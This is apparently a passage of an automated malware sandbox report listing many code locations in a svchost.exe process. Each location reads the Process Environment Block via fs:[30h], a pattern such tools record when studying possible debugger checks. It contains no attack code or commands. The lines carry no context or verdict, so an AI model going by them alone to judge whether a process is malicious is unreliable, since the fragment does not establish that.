Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030551EF mov eax, dword ptr fs:[00000030h]	2_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030551EF mov eax, dword ptr fs:[00000030h]	2_2_030551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030351ED mov eax, dword ptr fs:[00000030h]	2_2_030351ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D71F9 mov esi, dword ptr fs:[00000030h]	2_2_030D71F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_031061E5 mov eax, dword ptr fs:[00000030h]	2_2_031061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030601F8 mov eax, dword ptr fs:[00000030h]	2_2_030601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B4000 mov ecx, dword ptr fs:[00000030h]	2_2_030B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E016 mov eax, dword ptr fs:[00000030h]	2_2_0304E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E016 mov eax, dword ptr fs:[00000030h]	2_2_0304E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E016 mov eax, dword ptr fs:[00000030h]	2_2_0304E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E016 mov eax, dword ptr fs:[00000030h]	2_2_0304E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302A020 mov eax, dword ptr fs:[00000030h]	2_2_0302A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302C020 mov eax, dword ptr fs:[00000030h]	2_2_0302C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F903E mov eax, dword ptr fs:[00000030h]	2_2_030F903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F903E mov eax, dword ptr fs:[00000030h]	2_2_030F903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F903E mov eax, dword ptr fs:[00000030h]	2_2_030F903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F903E mov eax, dword ptr fs:[00000030h]	2_2_030F903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03032050 mov eax, dword ptr fs:[00000030h]	2_2_03032050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D705E mov ebx, dword ptr fs:[00000030h]	2_2_030D705E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D705E mov eax, dword ptr fs:[00000030h]	2_2_030D705E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305B052 mov eax, dword ptr fs:[00000030h]	2_2_0305B052
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B6050 mov eax, dword ptr fs:[00000030h]	2_2_030B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B106E mov eax, dword ptr fs:[00000030h]	2_2_030B106E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03105060 mov eax, dword ptr fs:[00000030h]	2_2_03105060
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03041070 mov eax, dword ptr fs:[00000030h]	2_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03041070 mov ecx, dword ptr fs:[00000030h]	2_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03041070 mov eax, dword ptr fs:[00000030h]	2_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03041070 mov eax, dword ptr fs:[00000030h]	2_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03041070 mov eax, dword ptr fs:[00000030h]	2_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03041070 mov eax, dword ptr fs:[00000030h]	2_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03041070 mov eax, dword ptr fs:[00000030h]	2_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03041070 mov eax, dword ptr fs:[00000030h]	2_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03041070 mov eax, dword ptr fs:[00000030h]	2_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03041070 mov eax, dword ptr fs:[00000030h]	2_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03041070 mov eax, dword ptr fs:[00000030h]	2_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03041070 mov eax, dword ptr fs:[00000030h]	2_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03041070 mov eax, dword ptr fs:[00000030h]	2_2_03041070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305C073 mov eax, dword ptr fs:[00000030h]	2_2_0305C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AD070 mov ecx, dword ptr fs:[00000030h]	2_2_030AD070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303208A mov eax, dword ptr fs:[00000030h]	2_2_0303208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BD080 mov eax, dword ptr fs:[00000030h]	2_2_030BD080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BD080 mov eax, dword ptr fs:[00000030h]	2_2_030BD080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302D08D mov eax, dword ptr fs:[00000030h]	2_2_0302D08D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03035096 mov eax, dword ptr fs:[00000030h]	2_2_03035096
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305D090 mov eax, dword ptr fs:[00000030h]	2_2_0305D090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305D090 mov eax, dword ptr fs:[00000030h]	2_2_0305D090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306909C mov eax, dword ptr fs:[00000030h]	2_2_0306909C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C80A8 mov eax, dword ptr fs:[00000030h]	2_2_030C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F60B8 mov eax, dword ptr fs:[00000030h]	2_2_030F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F60B8 mov ecx, dword ptr fs:[00000030h]	2_2_030F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030470C0 mov eax, dword ptr fs:[00000030h]	2_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030470C0 mov ecx, dword ptr fs:[00000030h]	2_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030470C0 mov ecx, dword ptr fs:[00000030h]	2_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030470C0 mov eax, dword ptr fs:[00000030h]	2_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030470C0 mov ecx, dword ptr fs:[00000030h]	2_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030470C0 mov ecx, dword ptr fs:[00000030h]	2_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030470C0 mov eax, dword ptr fs:[00000030h]	2_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030470C0 mov eax, dword ptr fs:[00000030h]	2_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030470C0 mov eax, dword ptr fs:[00000030h]	2_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030470C0 mov eax, dword ptr fs:[00000030h]	2_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030470C0 mov eax, dword ptr fs:[00000030h]	2_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030470C0 mov eax, dword ptr fs:[00000030h]	2_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030470C0 mov eax, dword ptr fs:[00000030h]	2_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030470C0 mov eax, dword ptr fs:[00000030h]	2_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030470C0 mov eax, dword ptr fs:[00000030h]	2_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030470C0 mov eax, dword ptr fs:[00000030h]	2_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030470C0 mov eax, dword ptr fs:[00000030h]	2_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030470C0 mov eax, dword ptr fs:[00000030h]	2_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_031050D9 mov eax, dword ptr fs:[00000030h]	2_2_031050D9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AD0C0 mov eax, dword ptr fs:[00000030h]	2_2_030AD0C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AD0C0 mov eax, dword ptr fs:[00000030h]	2_2_030AD0C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B20DE mov eax, dword ptr fs:[00000030h]	2_2_030B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030590DB mov eax, dword ptr fs:[00000030h]	2_2_030590DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030550E4 mov eax, dword ptr fs:[00000030h]	2_2_030550E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030550E4 mov ecx, dword ptr fs:[00000030h]	2_2_030550E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_0302A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030380E9 mov eax, dword ptr fs:[00000030h]	2_2_030380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B60E0 mov eax, dword ptr fs:[00000030h]	2_2_030B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302C0F0 mov eax, dword ptr fs:[00000030h]	2_2_0302C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030720F0 mov ecx, dword ptr fs:[00000030h]	2_2_030720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03037703 mov eax, dword ptr fs:[00000030h]	2_2_03037703
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03035702 mov eax, dword ptr fs:[00000030h]	2_2_03035702
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03035702 mov eax, dword ptr fs:[00000030h]	2_2_03035702
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306C700 mov eax, dword ptr fs:[00000030h]	2_2_0306C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03030710 mov eax, dword ptr fs:[00000030h]	2_2_03030710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03060710 mov eax, dword ptr fs:[00000030h]	2_2_03060710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306F71F mov eax, dword ptr fs:[00000030h]	2_2_0306F71F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306F71F mov eax, dword ptr fs:[00000030h]	2_2_0306F71F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EF72E mov eax, dword ptr fs:[00000030h]	2_2_030EF72E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03033720 mov eax, dword ptr fs:[00000030h]	2_2_03033720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304F720 mov eax, dword ptr fs:[00000030h]	2_2_0304F720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304F720 mov eax, dword ptr fs:[00000030h]	2_2_0304F720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304F720 mov eax, dword ptr fs:[00000030h]	2_2_0304F720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F972B mov eax, dword ptr fs:[00000030h]	2_2_030F972B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306C720 mov eax, dword ptr fs:[00000030h]	2_2_0306C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306C720 mov eax, dword ptr fs:[00000030h]	2_2_0306C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0310B73C mov eax, dword ptr fs:[00000030h]	2_2_0310B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0310B73C mov eax, dword ptr fs:[00000030h]	2_2_0310B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0310B73C mov eax, dword ptr fs:[00000030h]	2_2_0310B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0310B73C mov eax, dword ptr fs:[00000030h]	2_2_0310B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03029730 mov eax, dword ptr fs:[00000030h]	2_2_03029730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03029730 mov eax, dword ptr fs:[00000030h]	2_2_03029730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03065734 mov eax, dword ptr fs:[00000030h]	2_2_03065734
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303973A mov eax, dword ptr fs:[00000030h]	2_2_0303973A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303973A mov eax, dword ptr fs:[00000030h]	2_2_0303973A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306273C mov eax, dword ptr fs:[00000030h]	2_2_0306273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306273C mov ecx, dword ptr fs:[00000030h]	2_2_0306273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306273C mov eax, dword ptr fs:[00000030h]	2_2_0306273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AC730 mov eax, dword ptr fs:[00000030h]	2_2_030AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03043740 mov eax, dword ptr fs:[00000030h]	2_2_03043740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03043740 mov eax, dword ptr fs:[00000030h]	2_2_03043740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03043740 mov eax, dword ptr fs:[00000030h]	2_2_03043740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306674D mov esi, dword ptr fs:[00000030h]	2_2_0306674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306674D mov eax, dword ptr fs:[00000030h]	2_2_0306674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306674D mov eax, dword ptr fs:[00000030h]	2_2_0306674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03030750 mov eax, dword ptr fs:[00000030h]	2_2_03030750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BE75D mov eax, dword ptr fs:[00000030h]	2_2_030BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072750 mov eax, dword ptr fs:[00000030h]	2_2_03072750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072750 mov eax, dword ptr fs:[00000030h]	2_2_03072750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03103749 mov eax, dword ptr fs:[00000030h]	2_2_03103749
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B4755 mov eax, dword ptr fs:[00000030h]	2_2_030B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302B765 mov eax, dword ptr fs:[00000030h]	2_2_0302B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302B765 mov eax, dword ptr fs:[00000030h]	2_2_0302B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302B765 mov eax, dword ptr fs:[00000030h]	2_2_0302B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302B765 mov eax, dword ptr fs:[00000030h]	2_2_0302B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03038770 mov eax, dword ptr fs:[00000030h]	2_2_03038770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EF78A mov eax, dword ptr fs:[00000030h]	2_2_030EF78A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B97A9 mov eax, dword ptr fs:[00000030h]	2_2_030B97A9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BF7AF mov eax, dword ptr fs:[00000030h]	2_2_030BF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BF7AF mov eax, dword ptr fs:[00000030h]	2_2_030BF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BF7AF mov eax, dword ptr fs:[00000030h]	2_2_030BF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BF7AF mov eax, dword ptr fs:[00000030h]	2_2_030BF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BF7AF mov eax, dword ptr fs:[00000030h]	2_2_030BF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_031037B6 mov eax, dword ptr fs:[00000030h]	2_2_031037B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030307AF mov eax, dword ptr fs:[00000030h]	2_2_030307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305D7B0 mov eax, dword ptr fs:[00000030h]	2_2_0305D7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F7BA mov eax, dword ptr fs:[00000030h]	2_2_0302F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F7BA mov eax, dword ptr fs:[00000030h]	2_2_0302F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F7BA mov eax, dword ptr fs:[00000030h]	2_2_0302F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F7BA mov eax, dword ptr fs:[00000030h]	2_2_0302F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F7BA mov eax, dword ptr fs:[00000030h]	2_2_0302F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F7BA mov eax, dword ptr fs:[00000030h]	2_2_0302F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F7BA mov eax, dword ptr fs:[00000030h]	2_2_0302F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F7BA mov eax, dword ptr fs:[00000030h]	2_2_0302F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F7BA mov eax, dword ptr fs:[00000030h]	2_2_0302F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303C7C0 mov eax, dword ptr fs:[00000030h]	2_2_0303C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030357C0 mov eax, dword ptr fs:[00000030h]	2_2_030357C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030357C0 mov eax, dword ptr fs:[00000030h]	2_2_030357C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030357C0 mov eax, dword ptr fs:[00000030h]	2_2_030357C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B07C3 mov eax, dword ptr fs:[00000030h]	2_2_030B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303D7E0 mov ecx, dword ptr fs:[00000030h]	2_2_0303D7E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030527ED mov eax, dword ptr fs:[00000030h]	2_2_030527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030527ED mov eax, dword ptr fs:[00000030h]	2_2_030527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030527ED mov eax, dword ptr fs:[00000030h]	2_2_030527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BE7E1 mov eax, dword ptr fs:[00000030h]	2_2_030BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030347FB mov eax, dword ptr fs:[00000030h]	2_2_030347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030347FB mov eax, dword ptr fs:[00000030h]	2_2_030347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03061607 mov eax, dword ptr fs:[00000030h]	2_2_03061607
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE609 mov eax, dword ptr fs:[00000030h]	2_2_030AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306F603 mov eax, dword ptr fs:[00000030h]	2_2_0306F603
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]	2_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]	2_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]	2_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]	2_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]	2_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]	2_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]	2_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03033616 mov eax, dword ptr fs:[00000030h]	2_2_03033616
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03033616 mov eax, dword ptr fs:[00000030h]	2_2_03033616
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072619 mov eax, dword ptr fs:[00000030h]	2_2_03072619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E627 mov eax, dword ptr fs:[00000030h]	2_2_0304E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F626 mov eax, dword ptr fs:[00000030h]	2_2_0302F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F626 mov eax, dword ptr fs:[00000030h]	2_2_0302F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F626 mov eax, dword ptr fs:[00000030h]	2_2_0302F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F626 mov eax, dword ptr fs:[00000030h]	2_2_0302F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F626 mov eax, dword ptr fs:[00000030h]	2_2_0302F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F626 mov eax, dword ptr fs:[00000030h]	2_2_0302F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F626 mov eax, dword ptr fs:[00000030h]	2_2_0302F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F626 mov eax, dword ptr fs:[00000030h]	2_2_0302F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F626 mov eax, dword ptr fs:[00000030h]	2_2_0302F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03066620 mov eax, dword ptr fs:[00000030h]	2_2_03066620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03105636 mov eax, dword ptr fs:[00000030h]	2_2_03105636
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03068620 mov eax, dword ptr fs:[00000030h]	2_2_03068620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303262C mov eax, dword ptr fs:[00000030h]	2_2_0303262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304C640 mov eax, dword ptr fs:[00000030h]	2_2_0304C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F866E mov eax, dword ptr fs:[00000030h]	2_2_030F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F866E mov eax, dword ptr fs:[00000030h]	2_2_030F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A660 mov eax, dword ptr fs:[00000030h]	2_2_0306A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A660 mov eax, dword ptr fs:[00000030h]	2_2_0306A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03069660 mov eax, dword ptr fs:[00000030h]	2_2_03069660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03069660 mov eax, dword ptr fs:[00000030h]	2_2_03069660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03062674 mov eax, dword ptr fs:[00000030h]	2_2_03062674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B368C mov eax, dword ptr fs:[00000030h]	2_2_030B368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B368C mov eax, dword ptr fs:[00000030h]	2_2_030B368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B368C mov eax, dword ptr fs:[00000030h]	2_2_030B368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B368C mov eax, dword ptr fs:[00000030h]	2_2_030B368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03034690 mov eax, dword ptr fs:[00000030h]	2_2_03034690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03034690 mov eax, dword ptr fs:[00000030h]	2_2_03034690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306C6A6 mov eax, dword ptr fs:[00000030h]	2_2_0306C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302D6AA mov eax, dword ptr fs:[00000030h]	2_2_0302D6AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302D6AA mov eax, dword ptr fs:[00000030h]	2_2_0302D6AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030276B2 mov eax, dword ptr fs:[00000030h]	2_2_030276B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030276B2 mov eax, dword ptr fs:[00000030h]	2_2_030276B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030276B2 mov eax, dword ptr fs:[00000030h]	2_2_030276B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030666B0 mov eax, dword ptr fs:[00000030h]	2_2_030666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A6C7 mov ebx, dword ptr fs:[00000030h]	2_2_0306A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A6C7 mov eax, dword ptr fs:[00000030h]	2_2_0306A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303B6C0 mov eax, dword ptr fs:[00000030h]	2_2_0303B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303B6C0 mov eax, dword ptr fs:[00000030h]	2_2_0303B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303B6C0 mov eax, dword ptr fs:[00000030h]	2_2_0303B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303B6C0 mov eax, dword ptr fs:[00000030h]	2_2_0303B6C0
